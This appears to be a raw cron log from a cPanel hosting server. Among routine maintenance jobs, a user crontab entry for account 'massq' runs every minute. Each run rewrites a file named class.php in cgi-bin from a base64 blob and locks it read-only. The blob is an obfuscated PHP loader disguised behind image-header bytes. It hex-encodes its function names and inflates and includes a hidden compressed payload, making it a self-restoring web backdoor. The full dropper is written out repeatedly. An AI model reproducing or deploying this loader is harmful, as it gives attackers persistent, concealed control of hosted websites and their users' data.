Sep  5 22:10:01 server CROND[1768]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:10:01 server CROND[1765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:10:01 server CROND[1766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:10:01 server CROND[1771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:10:01 server CROND[1770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:10:01 server CROND[1769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:11:01 server CROND[2657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:11:01 server CROND[2658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:11:01 server CROND[2659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:12:01 server CROND[3144]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:12:01 server CROND[3145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:12:01 server CROND[3146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:12:01 server CROND[3147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:13:01 server CROND[3569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:13:01 server CROND[3570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:13:01 server CROND[3571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:14:01 server CROND[3937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:14:01 server CROND[3938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:14:01 server CROND[3939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:15:01 server CROND[4323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:15:01 server CROND[4327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:15:01 server CROND[4326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:15:01 server CROND[4328]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 22:15:01 server CROND[4330]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:15:01 server CROND[4333]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 22:15:01 server CROND[4332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:15:01 server CROND[4325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:15:01 server CROND[4331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:16:01 server CROND[5174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:16:01 server CROND[5175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:16:01 server CROND[5176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:17:01 server CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:17:01 server CROND[5594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:17:01 server CROND[5596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:18:01 server CROND[5974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:18:01 server CROND[5973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:18:01 server CROND[5975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:19:01 server CROND[6449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:19:01 server CROND[6450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:19:01 server CROND[6451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:20:01 server CROND[6841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:20:01 server CROND[6842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:20:01 server CROND[6850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:20:01 server CROND[6852]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:20:01 server CROND[6855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:20:01 server CROND[6857]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:20:01 server CROND[6859]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:20:01 server CROND[6864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:20:01 server CROND[6861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:21:01 server CROND[7745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:21:01 server CROND[7746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
